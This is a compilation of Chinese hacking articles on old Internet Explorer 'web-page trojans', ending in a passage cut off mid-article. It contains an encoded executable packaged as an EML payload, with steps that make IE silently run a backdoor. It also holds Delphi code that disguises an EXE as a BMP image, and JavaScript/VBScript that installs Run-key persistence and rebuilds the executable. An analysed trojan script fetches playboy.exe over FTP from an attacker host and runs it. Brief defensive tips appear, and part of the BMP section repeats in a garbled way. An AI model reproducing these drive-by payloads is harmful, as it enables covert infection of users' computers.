v0QKh4ZGbCJhMet4HrsBbMmRuEIYIUkFYKEMLkwhDJFzYgy6 qB66zWhEKUrxBAySBj6CZLPdcWm
sSoqDW jZoL/NITBWSDF6P7Df k2/Fxo4LSCsGSphGdyjsdFvCcRSPDCERhg6AyEHASJx1UHGT1H
0iAV9AwHaOoHi/wBsx1KLiCRV hBWgsgJyQ5B7iBP/83qqLGN4N9qNUIxx9vzZQdmUZuhVk4Sil8
OAuJ IbYBH1M7Eh3pD1HQCNlZFdfin8EDh13pGwiHEPsdrAgiVkVHCPQXxYTgwHM7EepJBcUCEgP
teinICUckqsi8OQLO9LqUDbQDuqtAAeJdwyhqeQ4YoJtIEC4 eiJoFJHEKOdnwJ1D0ApDP/SA8KO
6eTkjC8hqCFkWjIUDnAjGbQ2H9XF6OwJou0Z6cZzi4aiiUXoDEAU7IEIAPBq/6FB6J2eAxjPU4nG
suNIDP46AbMdCgLQLutApEVMpy7ZFAgx4ooV6yoWHxA Qsh7RRQnLMhIIJFxZRAMDcwHEUN7wv1E
B MIVW4/s9IIKtMQylzLCLKAw6wIqLvTEccBNlfQSApH040aOTJXaCBk/P QRiS8RE1kwJhUyKQH
RsQj2BHUiNDEzCJmap5FnLIb7hDoAeMErDpbGVMMDAD46PlaB094nA/xEV5AMwKNdfxWtpio41mc
TCUIRbsCdBBo7MQxJEWgjxhnXesOK2jgEBFXZBKs05K87KkZiwFmVkSg6C14CJALC4szfayysPnB
BzNOLV4w28ABgVc0TpaRoRnHEv9pZDWVG7A66ZUhbcaFRz0Nfyi9TAcydB6xhYELUGjIPI6POHFU
erGklh4MajJYwBPpmJ60Qkj MyMUQIXrWYtCFoC8BYE5CnUd6b1AYA10FFWLJe6gBsaEBVKiFhwU
JWgOYqUQhU7iNUh3JVHqSBICQyXOagMcpmaJVG1NgOhUrQkkSqnBWKtGn4mNjXECeEGUWObCCHr
dEgbqDtt2ah1TAgk1U0XFwaLFiLctDkg3Sko/ dFJDUKVFHoVFHDhn1TfUSGkFE36Yk9dPaDgUfI
8kaKUE3BjCIVMsQOBTdFgH0F83UWJR0RAxpOEYUbeAlqBmjZZNP9 hC2B57WSyZ9EL59zaWgFXfk
TizCH6TpUCwwV6Y4 HOwFOdM5nRaGy0SqCweLXEEEhQE/V5ZpnoLIiS7eaD1ICABgPRoz6iL6Jpf
BTFIdQcuH7KiL2i8kU9qjDGjZBdoVKkQWoT5Cdov7TMf YkUH8a93BfK9kKRphXo8odJtjhoahFE
IWHEh6gvyxi4of/WvuDGcsJs7VtK MhvEEQOKQIfU4L64P4natlyIMpuFZlMdxa2J0w65YTMVvw1
aKaub6CHTYAWGBzoLecGOufz5qY WaAUlQMC0Tk1SNBAw0Lodu5eZkxuImtZpNt5fxaLNTDI8WCE
MWgBZ iwaBpGUCx6 sHoFAMqIhr4OWN0N/BOAk2ms1tlNM/wD7fAoY6xmB1mHvJqSxAxwH0CbMzM
CxZ igQ7KISB1MQoGGaOYhAWXvJxyjwSIwKjH8tRmev8U7oPuwVAUq0wmc49MsQVAhnIEgMZzBcI
ZNAs1IWR2MJocSV0g8LouUhPo6BKP4xGiMI56BsDVn/FPiJjAZ1Fiok9bROL8U4Ca2iQmP81okpG
rHnrpD73D9Aw4kEqb4QNaH/IgEK /GmCx8IIfDW1wrCOATB8XAoEf1e8CSQGo hoo/SHZRXc1xTr
JjCIB74pCqHIKHG0EF3CBKN74Z7wQoujUuGXC9JMo6nxBhfFfFSHvj4Qk10ELX7wGeyouj1cb1H7
yyVRqxuwGatgrU0339NkEAymF5joSwIoP3V Eib875lMoES 8WPrHtEs/Hh1hwxomL8pKb8/0CIi
inCWg6TdA4ElOGI4OJDS7GQYPD3qHkNEyEh5TA8hUORUPFiHkFzyYB5DZMhwWka4o0JIFU0BgD8i
dSNq08r4XAomSCeaRUI4Jt0pOBxH6wHzQCDb sMc2A B8krBQ/r5nXzLoUPuv SQUWaMItX2RSK
XzUkcehrCXwIBAq59PGHAfryrvfZjUny3JSdll18RwTzpHOH13kdmEiMnFN8qMqADFmEDyGI5Iw9
4h5DlMiYeZwPIaDkpDyoh5Cs8rAeQ7TIuHm8DyHA5MQ8yIeQzPLQHkPUyNh53A8h4OTkPOiHkOzy
B4hBGPECDwMh5AQ8hQeQxjIHHkgDyEk5Cg8LIeQMPI0HkM4yDx5SA8hTORQPFSHkFjyXB5DYMhk
eWgPIWzkcDx0h5B48nweQ4DIhGwAAHCApwF4OQ3ECAVJADEyMzQ1djauGGABCVdpblMcaGVsaxQh
EPEg26lydvFj64V AcNQcm8NjmRlILHb0Xdz4r9dwHhtdDrgdehv56EMAVepFA5odCNwOi Id29z
9GnCBmVuYZABLmT8eegxPDYzA2NvbS9qj/JleJex4WM6XE4v5H8BDplUQAyGCRKJChICIvZTBOhI
3ZHWItCAAVxQxxB0JMo85i8JMUobIKAciAj3GhldEdVbBCJ1jAEziCUYwiIJzkTYaZpISXOunfgG
TnRRdRgHeUluZm9jbWHrabeZLd8zvDT9TWREPUf3PE1vvXV3M0JhaE6jbftBgUVu/700JSYbWP5T
c0EOSS5ETDwkIwNpdA0KhJZgnJAfpGjeGPxIOsQKDYqXcH5SQWfzSfA10XOMSx5umEwUMzIuemk4
CVkJFihikptpTDPOZ4YuUQIPwUSZWGMmcEmtnExZgFRFTVxDdXFykOZ3dN0kM5hsenZTXFs3c17j
b2b5d2G9PjZNIDpvcx1TdLtjN1Z8WN b31L VjdDNukQ3E9LIc0NRTQAB1NhdrAgkNLnoRfFSLtN
HAP5YufVdCUMD3lpVAgRRXifkiAUhhUoYfvPFnJ4Um1v2YgUcOlQIJZozxBiGeZCs3cUZNNzIqdE
0xh2fRJ5eO5YZ2k7cYpWNhAEgSFs0GFkYzoWQ03qPk563fVUc JSkFWPiQY/IC74mYlwSSesJy9Y
djU6LjCHKEMpMm78/qRqzhRr8DMuWmdgRAAArwH9fClgQAT0hQGVFBC2AmgoJATf6AFxPEqSyFCj
BHyHARpkID0EzAAAzgMQDiYORg5pDmwOZRCMyCFOyhl3DpHSOE8ycCFuJ4ACLAEGRSlmeGV0JWaQ
GUg9ynxwIJH0OEE4YjhvIXWjAUeJBlGFwAABHDhiQAB3c29jazMOMi5kbDwDWlNBQ7hlYW4odXAL
nT0cucRZGPFZdvnDodpbq4BZmxvc/aPMtsipz PbvUGOHN6dGn8Zf3BddBjduHLzojv 28PYdQr
hgFw1QBVUkxNT04uRO3fg1h3Fjdvd3xBYWRU4EZpzGBBRnyIS0U5Uk6oTI6IJUh4BWl0VGhyGZCO
SbsMv0w YlCReeBKw6BDb22NDaZkJNNEchB1b3JCnc5Eafnzb6FIFcdQ oMgsuNKEoVJZAUUTGEN
uUUuoGoNd00oZHWMhJAaTmFtthQTaEjdpUVGUP8N2jsnSkHPvalgnlY9eUhpDhlFeFJPVNp2sRo0
UnDsKIdToclrQF1kUGnULBNF3QZvEnV0 G5Id2KNVhxHbgZXlmRtHGGEVGQ4dRFzElrf74pGthRN
nXfYkmZPYlVq 5tORjtEalxa61aKKowThEiBjVr/Q3LjUbQH swOblNBIkNZJEfKFGPEcdCdp FH
dbzGNGNIKPsBSPjPiVMKrap5V1W9DdNz5og8BGMHQURWMlBJmyDgZGp11NrqJGsIQ2l2KPtnjKsk
aCKyEeNWYbfu8m0tFDFDEVNDTXL0ykhyIE/7EjNoY1tVJHBDk0dLxXkJDESlenRmSSFtT1k3Fgxo
VXQZBKFSDyKwcplIQyUIGdqawVZQGhdqAEL/BadWiQcLKjNEdnB8MmloWjoQGhy6HLJNFqJVR5Md
D0IbSCFDUlQlFUwZYmlfQApjyyiFN3Jn1OkvkVlObWVzIcbjgmhLVoTW027M4GzSY94O3W19oXk2
6jRtdW4OwxuuZ248ag50oKIHosctB4wEB8d45WsaCLQtFq6YHAMAAA==
--1
好了，存盘收工，上面那些很长的代码其实就是一个很小的EXE文件，只不过是用outlook编译成这个样子了（后面将说明怎么用OUTLOOK来做这个EML）现在来看看我门的
成果吧，把这两个文件都传到网上，注意必须保持两个文件在同一路径下，现在我们在IE的地址拦下写入你这个TEST.HTM文件的路径 按回车，这时我们应该看到打开了一
个空白的IE窗口，紧接着弹出我们做的那个EML的窗口（也是空白的）这时你的眼前会很快的闪过一个IE的下载过程，当你还没有明白怎么回事的时候，我们的那个小小的
EXE文件已经被他执行了，此时他的计算机就为我们开启了一个3385的后门，这个小后门是winshell黑白有下，如果他是拨号上网没有处在局域网当中的话，我门就可以
TELNET XXX.XXX.XXX.XXX 3385他了，为了防止所有人都能TELNET他的3385这个小后门是有密码的。
现在我们来说说如何制作自己EML，首先做出一个你自己的EXE文件，文件不要太大最好能控制在80K以内，然后双击我们刚才做的那个JJ.EML文件，在打开的OUTLOOT
中应该看到一个名字是JJ.EXE的附件，在附件上按鼠标的右键先删掉他，然后再添加你自己的那个EXE文件为附件，选择另存为..（切记不是保存！）然后命名为TEMP.EML
好，关掉OUTLOOK，在TEMP.EML上选择打开方式，用记事本打开，找到那堆很乱的代码（Content-ID: <THE-CID> 至 --1 的中间那部分）复制下来，然后用同样的方法
打开JJ.EML文件将我们刚才复制下来的代码替换掉JJ.EML中相应的代码就OK啦，选择保存后，这个JJ.EML就是你制作的EXE的变形了


详解BMP木马
首先说明这不是什么新的技术,但最近有人说我们没有,那就随便写编文章放上来了,大家自己试验一下. 何谓BMP网页木马?它和过去早就用臭了的MIME头漏洞的木马不同,MIME木马是把一个EXE文件用MIME编码为一个EML(OUT LOOK信件)文件,放到网页上利用IE和OE的编码漏洞实现自动下载和执行.
然而BMP木马就不同,它把一个EXE文件伪装成一个BMP图片文件,欺骗IE自动下载,再利用网页中的javascript脚本查找客户端的Internet临时文件夹,找到下载后的BMP文件,把它拷贝到TEMP目录.再编写一个脚本把找到的BMP文件用DEBUG还原成EXE,并把它放到注册表启动项中,在下一次开机时执行.但是这种技术只能在9X下发挥作用,对于2K,XP来说是无能为力了.
看上去好象很复杂,下面我们一步一步来:
1) EXE变BMP的方法.
大家自己去查查BMP文件资料就会知道,BMP文件的文件头有54个字节,简单来说里面包含了BMP文件的长宽,位数,文件大小,数据区长度,我们只要在EXE文件的文件头前面添加相应的BMP文件头(当然BMP文件头里面的数据要符合EXE文件的大小啦),这样就可以欺骗IE下载该BMP文件,开始我们用JPG文件做过试验,发现如果文件头不正确的话,IE是不会下载的,转换代码如下:
program exe2bmp;
uses
Windows,
SysUtils;
var len,row,col,fs: DWORD;
buffer:
        array[0..255]of char;
fd: WIN32_FIND_DATA;
h,hw: THandle;
begin
if (ParamStr(1)<>'')
        and(ParamStr(2)<>'') then begin //如果运行后没有两个参数则退出
if
        FileExists(ParamStr(1)) then begin
FindFirstFile(Pchar(ParamStr(1)),fd);
fs:=fd.nFileSizeLow;
col := 4;
while true do begin
if (fs mod 12)=0 then begin
len:=fs;
end else len:=fs+12-(fs mod 12);
row := len div col
        div 3;
if row>col then begin
col:=col+4;
end else Break;
end;
FillChar(buffer,256,0);
{一下为BMP文件头数据}
Buffer[0]:='B';Buffer[1]:='M';
PDWORD(@buffer[18])^:=col;
PDWORD(@buffer[22])^:=row;
PDWORD(@buffer[34])^:=len;
PDWORD(@buffer[2])^:=len+54;
PDWORD(@buffer[10])^:=54;
PDWORD(@buffer[14])^:=40;
PWORD(@buffer[26])^:=1;
PWORD(@buffer[28])^:=24;
{写入文件}
hw:=CreateFile(Pchar(ParamStr(2)),GENERIC_WRITE,FILE_SHARE_READ or
        FILE_SHARE_WRITE,nil,CREATE_ALWAYS,0,0);
h:=CreateFile(Pchar(ParamStr(1)),GENERIC_READ,FILE_SHARE_READ or
        FILE_SHARE_WRITE,nil,OPEN_EXISTING,0,0);
WriteFile(hw,buffer,54,col,0);
repeat
ReadFile(h,buffer,256,col,0);
WriteFile(hw,buffer,col,col,0);
untilcol<>256;
WriteFile(hw,buffer,len-fs,col,0);
CloseHandle(h);
CloseHandle(hw);
end;
end;
end.

以上代码可以在DELPHI4,5,6中编译 ,就可以得到一个exe2bmp.exe文件.大家打开MSDOS方式,输入
exe2bmp myexe.exe mybmp.bmp
回车就可以把第二个参数所指定的EXE文件转换成BMP格式.
接着就是把这个BMP图片放到网页上了,如果大家打开过这张图片的话,一定发现这张BMP又花,颜色又单调.所以大家放在网页上最好用这样的格式
以下是放在网页上的脚本
document.write(' ');
function docsave()
{
a=document.applets[0];
a.setCLSID('{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}');
a.createInstance();
wsh=a.GetObject();
a.setCLSID('{0D43FE01-F093-11CF-8940-00A0C9054228}');
a.createInstance();
fso=a.GetObject();
var
        winsys=fso.GetSpecialFolder(1);
var vbs=winsys+'\\s.vbs';
wsh.RegWrite
('HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\vbs','wscript
        '+'"'+vbs+'" ');
var st=fso.CreateTextFile(vbs,true);
st.WriteLine('Option Explicit');
st.WriteLine('Dim
        FSO,WSH,CACHE,str');
st.WriteLine('Set FSO =
        CreateObject("Scripting.FileSystemObject")');
st.WriteLine('Set WSH
        = CreateObject("WScript.Shell")');
st.WriteLine('CACHE=wsh.RegRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ShellFolders\\Cache")');
st.WriteLine('wsh.RegDelete("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\vbs")');
st.WriteLine ('wsh.RegWrite
        "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\tmp","tmp.exe"');
st.WriteLine('SearchBMPFile fso.GetFolder(CACHE),"mybmp[1].bmp"');
st.WriteLine('WScript.Quit()');
st.WriteLine('Function
        SearchBMPFile(Folder,fname)');
st.WriteLine(' Dim
        SubFolder,File,Lt,tmp,winsys');
st.WriteLine('
        str=FSO.GetParentFolderName(folder) & "\\" & folder.name &
        "\\" & fname');
st.WriteLine(' if FSO.FileExists(str) then');
st.WriteLine(' tmp=fso.GetSpecialFolder(2) & " \\"' );
st.WriteLine(' winsys=fso.GetSpecialFolder(1)
        & " \\"');
st.WriteLine(' set File=FSO.GetFile(str)');
st.WriteLine('
        File.Copy(tmp & "tmp.dat")');
st.WriteLine(' File.Delete');
st.WriteLine(' set Lt=FSO.CreateTextFile(tmp & "tmp.in")');
st.WriteLine(' Lt.WriteLine("rbx")');
st.WriteLine('
        Lt.WriteLine("0")');
st.WriteLine(' Lt.WriteLine("rcx")');
st.WriteLine(' Lt.WriteLine("1000")');
st.WriteLine('
        Lt.WriteLine("w136")');
st.WriteLine(' Lt.WriteLine("q")');
st.WriteLine(' Lt.Close');
st.WriteLine(' WSH.Run "command /c
        debug " & tmp & "tmp.dat <" & tmp & "tmp.in >"
        & tmp & "tmp.out",false,6');
st.WriteLine(' On Error Resume
        Next ');
st.WriteLine(' FSO.GetFile(tmp &
        "tmp.dat").Copy(winsys & "tmp.exe")');
st.WriteLine('
        FSO.GetFile(tmp & "tmp.dat").Delete');
st.WriteLine('
        FSO.GetFile(tmp & "tmp.in").Delete');
st.WriteLine('
        FSO.GetFile(tmp & "tmp.out").Delete');
st.WriteLine(' end
        if');
st.WriteLine(' If Folder.SubFolders.Count <> 0 Then');
st.WriteLine(' For Each SubFolder In Folder.SubFolders');
st.WriteLine(' SearchBMPFile SubFolder,fname');
st.WriteLine('
        Next');
st.WriteLine(' End If');
st.WriteLine('End Function');
st.Close();
}
setTimeout('docsave()',1000);
把该脚本保存为"js.js",在网页中插入:

该脚本主要会在本地机器的SYSTEM目录下生成一个“S.VBS”文件，该脚本文件会在下次开机时自动运行。主要用于从临时目录中找出mybmp[1].bmp文件。
“S.VBS”文件主要内容如下:
Option Explicit
Dim FSO,WSH,CACHE,str
Set FSO = CreateObject("Scripting.FileSystemObject")
Set WSH = CreateObject("WScript.Shell")
CACHE=wsh.RegRead("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellFolders\Cache")
wsh.RegDelete("HKCU\Software\Microsoft\Windows\CurrentVersion\Run\vbs")
wsh.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\tmp","tmp.exe"
SearchBMPFile fso.GetFolder(CACHE),"mybmp[1].bmp"
WScript.Quit()
Function SearchBMPFile(Folder,fname)
Dim SubFolder,File,Lt,tmp,winsys
'从临时文件夹中查找目标BMP图片
str=FSO.GetParentFolderName(folder) & "\" & folder.name & "\" & fname
if FSO.FileExists(str) then
tmp=fso.GetSpecialFolder(2) & "\"
winsys=fso.GetSpecialFolder(1) & "\"
set File=FSO.GetFile(str)
File.Copy(tmp & "tmp.dat")
File.Delete
'生成一个DEBUG脚本
set Lt=FSO.CreateTextFile(tmp & "tmp.in")
Lt.WriteLine("rbx")
Lt.WriteLine("0")
Lt.WriteLine("rcx")
'下面一行的1000是十六进制，换回十进制是4096(该数字是你的EXE文件的大小)
Lt.WriteLine("1000")
Lt.WriteLine("w136")
Lt.WriteLine("q")
Lt.Close
WSH.Run "command /c debug " & tmp & "tmp.dat <" & tmp &"tmp.in>" & tmp & "tmp.out",false,6
On Error Resume Next
FSO.GetFile(tmp & "tmp.dat").Copy(winsys & "tmp.exe")
FSO.GetFile(tmp & "tmp.dat").Delete
FSO.GetFile(tmp & "tmp.in").Delete
end if
If Folder.SubFolders.Count <> 0 Then
For Each SubFolder In Folder.SubFolders
SearchBMPFile SubFolder,fname
Next
End If
End Function
这个脚本会找出在临时文件夹中的bmp文件,并生成一个DEBUG的脚本,运行时会自动从BMP文件54字节处读去你指定大小的数据,并把它保存到tmp.dat中.后面的脚本再把它复制到SYSTEM的目录下.这个被还原的EXE文件会在下次重起的时候运行.这就是BMP木马的基本实现过程.
详细脚本代码请参考http://hotsky.363.net
防范方法:
最简单,删除或改名wscrpit.exe文件和DEBUG 文件;
安装有效的杀毒软件,因为这些脚本有好多杀毒软件已经可以查出来了.
在条件允许的情况下,安装WIN2K SP3,尽量避免去一些不名来历的网站.
FSO.GetFile(tmp & "tmp.out").Delete
end if
If Folder.SubFolders.Count <> 0 Then
For Each SubFolder In Folder.SubFolders
SearchBMPFile SubFolder,fname
Next
End If
End Function
这个脚本会找出在临时文件夹中的bmp文件,并生成一个DEBUG的脚本,运行时会自动从BMP文件54字节处读去你指定大小的数据,并把它保存到tmp.dat中.后面的脚本再把它复制到SYSTEM的目录下.这个被还原的EXE文件会在下次重起的时候运行.这就是BMP木马的基本实现过程.
详细脚本代码请参考http://hotsky.363.net
防范方法:
最简单,删除或改名wscrpit.exe文件和DEBUG 文件;
安装有效的杀毒软件,因为这些脚本有好多杀毒软件已经可以查出来了.
在条件允许的情况下,安装WIN2K SP3,尽量避免去一些不名来历的网站.


揭开“远古”网页木马的神秘面纱
writer: demonalex
email: demonalex_at_hackermail.com
http://demonalex.nease.net

在现时的这个资讯发达的年代，会做网页的人就不少了，但会做网页木马的人又有多少呢？(PS:一定不会比会做网页
的人多:P)
“做网页木马难吗？”
“如何做啊？需要一些什么工具吗？”
......
然后论坛者的‘跟帖’更是众说纷纭。也许你只知道是浏览了某个网站的网页，自己的机器就会“中标”了，至于为什么
会“中标”，它的原理是什么，这些也许你都没有再“追寻”下去了(或许你什么都知道，如果是的话，下面这篇烂文你
就不用再看下去了:P)。
最近很幸运，笔者小神从一封可疑的、没有署名的Email中得到了一个带俗称‘网页木马’的url路径地址(看来小神
的仇家还真不少，以后出门要小心了-_-b)。既然说是可疑当然就不能直接打开来看了，但好奇心又促使着我进入那个网
址，几番“挣扎”后决定使用特殊一些的工具上去查看一下这个url的“虚实”。
(使用“火眼”打开该url地址)

PS:上图的遮盖部分为带网页木马的网站IP地址)
-------------------------------------------------------------------------------------------------------------
附录:“火眼”的下载地址:
http://www.hfjinwei.com/temp/huoyan.rar
注:“火眼”是一只网页源码查看器，另外还附带一些特殊的功能，如查找恶意网页代码与自定义恶意网页代码查找等。
-------------------------------------------------------------------------------------------------------------
从图中可以清楚地看到这个静态网页的结构。因为只有简短的几行，因此没有什么可疑的地方，除了:
〈object data="http://该主机的IP地址/playboy.test"〉〈/object〉
〈embed align="center" src="http://该主机的IP地址/gei.swf" width="500"
        height="500" border="1"〉〈/embed〉

这两行标签。瞎了眼的人都能看得出来就是playboy.test与gei.swf这两个文件最为可疑了(用语夸张了点吧:P)。
gei.swf是个FLASH动画文件，但为了安全起见还是用flashget通过它的url把它DOWNLOAD下来吧(毕竟现在的FLASH跨站攻击
是挺厉害的)，然后用flashhacker将其反‘编译’，无收获(因为FLASH跨站攻击的内容超出了本文的范围，因此就不再多
作解析了，大家有空可以去查阅相关的资料)。下面接着看playboy.test。使用相同的方法用“火眼”查看这个文件。
PS:上图的遮盖部分为带网页木马的网站IP地址，留意看看窗体下方的“火眼”分析提示-_-b，所以说有的时候不要麻木地
相信所有的工具......)
仔细看一下吧，其实这整个“网页木马”的‘玄机’都暴露在playboy.test这个HTML中了。为什么说它是HTML文件呢？它的
扩展名不是*.test吗？其实这是木马安放者用来迷惑大家的，因为当浏览器在无法查别该文件是什么类型时就会第一时间尝
试以HTML的格式来打开它了，这样刚好应了攻击者的要求。
现在分析一下它的代码。
首先从第三行开始看起(第一、二行为基本的HTML标签，大伙有兴趣可以查阅相关的教程):
〈object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'〉〈/object〉
object标签用于在HTML文件中定义一个ActiveX外部对象类，以此以便后文调用该对象。从上面这一个标签对可以看出该定
义的对象名为‘wsh’，至于它是什么对象类就不清楚了。如何是好呢？既然你不知道，那执行这段脚本的WSH(Windows Sc
ripting Host)又是怎么知道的呢？

-------------------------------------------------------------------------------------------------------------
提示:什么是WSH(Windows Scripting Host)？
答:Windows Scripting Host这个概念最早出现于Windows 98操作系统。大家一定还记得MS-Dos下的批处理命令，它曾有效
地简化了我们的工作、带给我们方便，这一点就有点类似于如今大行其道的脚本语言。但就算我们把批处理命令看成是
一种脚本语言，那它也是98版之前的Windows操作系统所唯一支持的“脚本语言”。而此后随着各种真正的脚本语言不断
出现，批处理命令显然就很是力不从心了。面临这一危机，微软在研发Windows 98时，为了实现多类脚本文件在Windows
界面或Dos命令提示符下的直接运行，就在系统内植入了一个基于32位Windows平台、并独立于语言的脚本运行环境，并
将其命名为“Windows Scripting Host”。WSH架构于ActiveX之上，通过充当ActiveX的脚本引擎控制器，WSH为Windows
用户充分利用威力强大的脚本指令语言扫清了障碍。再具体一点描述:你自己编写了一个脚本文件，如后缀为*.vbs或*.j
s的文件，然后在 Windows 下双击并执行它，这时，系统就会自动调用一个适当的程序来对它进行解释并执行，而这个
程序，就是Windows Scripting Host，程序执行文件名为Wscript.exe(若是在命令行下，则为Cscript.exe)。
-------------------------------------------------------------------------------------------------------------

WSH是通过该object标签的classid属性来识别它所调用的ActiveX外部对象类的，classid也叫做类ID，是每一个WIN32系统
所能识别的ActiveX对象类的唯一ID号。现在我们知道了ActiveX类ID号，如何能知道它是什么ActiveX对象类呢？很简单，
大伙跟小神一块打开注册表。

进入注册表以后，按菜单栏的“编辑”->“查找...”(如下图)。
在“查找目标”中输入我们已经知道的那个classid值，按“查找下一个”按钮。在‘漫长’的等待过程过后...(得到下图)
(从右边的键值显示区中看到这个是什么对象类了吧？)
从上图中我们可以看出木马安放者让我们调用的ActiveX对象类是“Windows Script Host Shell”对象类，这个类出了名是
骇客最喜欢用的类之一(看到这里已经可以猜到这个网页不是什么好东西了:P)。其实楼上的那对object标签也可以直接放入
SCRIPT标签对中，用VBScript可以写成:

Dim wsh
Set wsh=CreateObject("WScript.Shell")

说说重点吧，这个类最“骇人听闻”的就是它的其中一个最主要的调用“方法”---run方法，格式:

wsh.Run("程序命令行")

使用它就能在网页的解析端(客户端，也就是浏览该网页的用户主机上)随意地执行所有级别的执行程序了。(PS:留意一下，
下面你就可以看到这个方法的调用过程了:P)
现在让我们回到playboy.test分析部分，第四行开始的是SCRIPT的标签对及其内容部分了，在SCRPIT标签中定义了标签
对中的解释脚本为VBScript。SCRIPT标签对的内容(详细请看下面每条语句后面紧跟的解释部分):
Dim fs,t '声明两个变量fs与t
Set
        fs=CreateObject("Scripting.FileSystemObject")
        '定义变量fs为Scripting.FileSystemObject类对象
Set
        t=fs.CreateTextFile("playboy.txt,True) '定义变量t为新建文档playboy.txt的操作句柄对象
t.WriteLine("open 放置木马的FTP主机地址") '向playboy.txt写入一个文本
t.WriteLine("ftp")
t.WriteLine(" any@any.net ")
t.WriteLine("bin")
t.WriteLine("lcd c:\")
t.WriteLine("get
        playboy.exe")
t.WriteLine("bye")
t.Close '关闭文件操作句柄

为了实验一下这段代码的功能，小神当即将上面的代码拷贝下来，放在一个扩展名为vbs(VBSCRIPT脚本)的ASCII文件文件中
，并在cmd shell下运行，随即发现在该VBSCRIPT脚本的同一目录下生成一个名为playboy.txt的文本文件。打开后:
(遮盖部分为放置木马的FTP主机地址)
现在知道那段VBS代码是干什么的了吧？至于它所生成的这个playboy.txt都有什么作用呢？朋友，继续往下看吧。
wsh.Run "ftp -s:playboy.txt",0,true
这一行调用了三个参数的run方法格式，用于使用刚刚生成的脚本型文档playbox.txt与FTP服务器进行交互式通信。

-------------------------------------------------------------------------------------------------------------
附录:关于WScript.Shell的Run方法的三参数格式如下:
WshShell.Run (strCommand, [intWindowStyle], [blnWaitOnReturn])
参数
strCommand
在 strCommand 参数内部的环境变量被自动扩展。
intWindowStyle
这是为新进程在STARTUPINFO结构内设置的wShowWindow元素的值。其意义与ShowWindow中的nCmdShow参数相同，可取以下值
之一。
SW_HIDE
0 隐藏窗口并激活另一窗口。
SW_MINIMIZE
6 最小化指定窗口并激活按 Z 序排序的下一个顶层窗口。
SW_RESTORE
9 激活并显示窗口。若窗口是最小化或最大化，则恢复到原来的大小和位置。在还原应用程序的最小化窗口时，应指定该标
志。
SW_SHOW
5 以当前大小和位置激活并显示窗口。
SW_SHOWMAXIMIZED
3 激活窗口并以最大化显示该窗口。
SW_SHOWMINIMIZED
2 激活窗口并以最小化显示该窗口。
SW_SHOWMINNOACTIVE
7 最小化显示窗口。活动窗口保持活动。
SW_SHOWNA
8 以当前状态显示窗口。活动窗口保持活动。
SW_SHOWNOACTIVATE
4 按窗口最近的大小和位置显示。活动窗口保持活动。
SW_SHOWNORMAL
1 激活并显示一个窗口。若窗口是最小化或最大化，则恢复到其原来的大小和位置。
blnWaitOnReturn
如果未指定blnWaitOnReturn或其值为FALSE，则该方法立即返回到脚本继续执行而不等待进程结束。
若blnWaitOnReturn设为TRUE，则Run方法返回由应用程序返回的任何错误代码。如果未指定blnWaitOnReturn或其值为FALSE，
则Run返回错误代码0（zero）。
-------------------------------------------------------------------------------------------------------------

通过上面的附录可以清楚地看到最后的那两个参数只是影响Run方法的执行状态与形式，而不影响它的执行语句本身，那么第
一个Run方法的执行语句就是:

ftp -s:playboy.txt

通过实验我们得知这条语句是以批处理的形式执行FTP连接的。既然是这样我们就试试直接以手动的方式来模拟那个play
boy.txt工作吧，看看会有什么结果(如下图)。

上图的遮盖部分为带网页木马的FTP服务器地址与主机号)
当整个‘批处理’的手动过程完成后我们可以在本地机器的C:\下发现一个名为playboy.exe的执行程序。现在再回到“作
案现场”，看看第二个Run方法的调用情况:

wsh.Run "c:\playboy.exe"

嘿嘿，这个playboy.exe是什么东西相信也不用小神多说了吧(十有八九是木马的服务端了，不相信？运行它试试看吧，PS:
出了事别拿砖头砸小神的脑袋就好:P)？
至于最后的两行嘛，是为了掩人耳目用的:

fs.DeleteFile "playboy.txt",true '强行删除playboy.txt文件(注:第一个参数为删除目标，第二个参数为是否强行删
'除)
windows.close '关闭该窗体
总结:
从刚才分析了整个“网页木马”的结构来看，站在攻击者的角度可以归纳出三点针对攻击手法的必要技术元素:

1)被攻击者的IE浏览器版本号比较低(5.X)
2)被攻击者的浏览器必须启用“运行ActiveX控件和插件”(原因是因为那个playboy.test文件所调用的Shell脚本是通过Ac
tiveX控件解释执行的)
3)攻击者必须拥有一个WEB服务器与FTP服务器(不一定要是同一台机器)
4)拥有一只不错的木马(当被攻击者下载该木马服务器时能够躲杀毒软件的‘追捕’，运行时能穿透被攻击者的网络防火墙)
当然，这类攻击也会有一定的弊端了:
1)若被攻击者的IE浏览器版本号比较高(6.X)就‘没辙’了...
2)对那些连“运行ActiveX控件和插件”也禁用的‘极度小心主义者’是不起作用的
3)有可能暴露攻击者的FTP服务器信息(如帐号密码等等)
4)良好的个人防御系统(包括杀毒防火墙与网络防火墙)能有效地阻止木马类的攻击
学习某种黑客技巧的攻击方法只是为了更好地去防止与杜绝它的“发生”，但如果你只是一名“什么都不想知道”的个
人用户但又想防止此类攻击于“未然”的话，那我劝你还是尽早升级你的IE浏览器(升至6.X)吧。


对一个网页木马的剖析
注意：谨以此文章献给我的父亲和母亲，感谢他们对我多年来的养育之恩！本文由于部分代码涉及病毒分析，所以拷贝过程中，杀毒软件会把文章当病毒杀掉，并无任何大碍只是无法在有杀毒软件的计算机进行阅读或者传输。
原创声明：
中国暗域网络技术资讯站原创文章，作者 冰血封情<EvilOctal>，转载劳烦著名出处。
拙笔正文：
本人不才，在中国鹰派做一个小小的技术版主。有一天在论坛回帖的时候看见这样一部主题
我做的网页木马
http://kev.369.com/
不怕就去看看，呵呵！
回的人比较少，那这样吧，这种关键时刻，上刀山下油锅的就得是我们做版猪的了！习惯的看一下表凌晨4:08。
做好安全措施，冲到了http://kev.369.com/
一看网页的源文件是

<frameset rows="0,*" style="border-top-width: 0px; border-left-width: 0px; border-right-width: 0px">
<frame name=bar src=bar.htm noresize scrolling=no border=0 framespacing=0 frameborder=0 scrolling=no>
<frame src=http://kevjy.1816.net/1/ scrolling=auto name=main>
</frameset>
经过一段时间的分析踩点，得出来如下结论：
文件bar.htm没找到，不知道是真没有还是我菜，真没找到。
真的整个站的首页在这里：
http://home.itdrp.com/kevjy/
其实实现木马病毒种植的是这个页：
